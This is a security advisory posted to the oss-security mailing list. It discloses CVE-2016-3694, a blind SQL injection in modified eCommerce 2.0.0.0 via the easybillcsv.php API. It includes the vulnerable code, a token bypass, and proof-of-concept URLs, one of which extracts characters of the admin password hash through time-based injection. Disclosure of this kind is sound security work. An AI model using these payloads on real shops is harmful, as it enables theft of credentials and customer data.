Follow @Openwall on Twitter for new release announcements and other news
[<prev] [next>] [day] [month] [year] [list]
Date: Wed, 20 Apr 2016 19:42:26 +0200
From: Felix Maduakor <Felix.Maduakor@...r-uni-bochum.de>
To: oss-security@...ts.openwall.com
Subject: CVE-2016-3694 modified eCommerce Shopsoftware 2.0.0.0 rev 9678 -
 Blind SQL Injection

# Title: Blind Injection modified eCommerce 2.0.0.0 rev 9678
# Date: 16.04.2016
# Category: webapps
# Vendor Homepage: http://www.modified-shop.org/download
# Software Link: 
http://www.modified-shop.org/forum/index.php?action=downloads;sa=downfile&id=96
# Version: 2.0.0.0 rev 9678
# Tested on: Apache/2.4.7, PHP Version 5.5.9, Linux
# Exploit Author: Felix Maduakor
# Contact: Felix.Maduakor@....de
# CVE: CVE-2016-3694

Product Description:
modified eCommerce is an Open Source shopsoftware

Vulnerability Details:
Attackable are the GET-parameters 'orders_status' and 'customers_status' 
through 'easybillcsv.php':


File: [shoproot]/api/easybill/easybillcsv.php

[24]        if (isset($_GET['token']) &&  $_GET['token'] == 
MODULE_EASYBILL_CSV_CRON_TOKEN) {
[25-61]         ...
[62]            } else {
[63]                    die('Direct Access to this location is not 
allowed.');

As default option the easybill-module is not installed and the constant 
MODULE_EASYBILL_CSV_CRON_TOKEN is not set. As long as the 
easybill-module is not installed, it is possible to bypass the 
restriction: 
[Shoproot]/api/easybill/easybillcsv.php?token=MODULE_EASYBILL_CSV_CRON_TOKEN


[35]            if (count($_GET['orders_status']) > 0) {
[36]            $_GET['orders_status'] = preg_replace("'[\r\n\s]+'", '', 
$_GET['orders_status']);
[37]            $orders_status = explode(',', $_GET['orders_status']);
[38]            $module->from_orders_status = implode("', '", 
$orders_status);
[39]            }


[43]            if (isset($_GET['customers_status'])) {
[44]            $_GET['customers_status'] = preg_replace("'[\r\n\s]+'", 
'', $_GET['customers_status']);
[45]            $customers_status = explode(',', 
$_GET['customers_status']);
[46]            $module->from_customers_status = implode("', '", 
$customers_status);
[47]            }

As you can see in lines 35-39 and 43-47 the GET-parameters 
'orders_status' and 'customers_status' are not escaped, but formatted 
(removed whitespaces, replaced commas with "', '"). They will be set as 
local variables of the "$module"-object.

File: [shoproot][admin-folder]/includes/modules/system/easybillcsv.php

[63]        $export_query = xtc_db_query("SELECT DISTINCT o.orders_id
[64]                                    FROM ".TABLE_ORDERS." o
[65]                                    JOIN 
".TABLE_ORDERS_STATUS_HISTORY." osh
[66]                                      ON o.orders_id = osh.orders_id
[67]                                   WHERE (o.orders_status IN ('" . 
$this->from_orders_status . "')
[68]                                          OR osh.orders_status_id IN 
('" . $this->from_orders_status . "'))
[69]                                     AND (o.last_modified >= '". 
date( "Y-m-d H:i:s", strtotime($this->from_order_date)) . "'
[70]                                          OR o.date_purchased >= '". 
date( "Y-m-d H:i:s", strtotime($this->from_order_date)) . "')
[71]                                     AND o.customers_status IN ('" . 
$this->from_customers_status . "')
[72]                                ORDER BY o.orders_id");


The unescaped GET-parameters get placed in the query on line 67, 68 and 
71.
Through the ORDER BY statement (with the explicit table-references) it 
is not possible to use a union-based injection.
The injection cannot include whitespaces or commas.

POC [Proof of Concept]:

http://127.0.0.1/shop/api/easybill/easybillcsv.php?token=MODULE_EASYBILL_CSV_CRON_TOKEN&orders_status=-111'))or-sleep(5)/*&customers_status=*/%23
Will result in following query and execute the sleep-function for 5 
seconds:

SELECT DISTINCT o.orders_id
                                    FROM ".TABLE_ORDERS." o
                                     JOIN ".TABLE_ORDERS_STATUS_HISTORY." 
osh
                                       ON o.orders_id = osh.orders_id
                                    WHERE (o.orders_status IN 
('-111'))or-sleep(5)/*

                                     long comment

                                     */#comment
                                ORDER BY o.orders_id

There are multiple ways to bypass the whitespace/comma-filter. A 
possible way to check if the first character of the admin-hash is '$' 
would be:


http://127.0.0.1/shop/api/easybill/easybillcsv.php?token=MODULE_EASYBILL_CSV_CRON_TOKEN&orders_status=-111'))or(Select(case(36)when(ascii(substring(`customers_password`FROM(1)FOR(1))))then-sleep(5)End)from`customers`where`customers_id`=1)/*&customers_status=*/%23




Timeline
-----
[16.04.2016] Reporting vulnerability to vendor

Powered by blists - more mailing lists

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.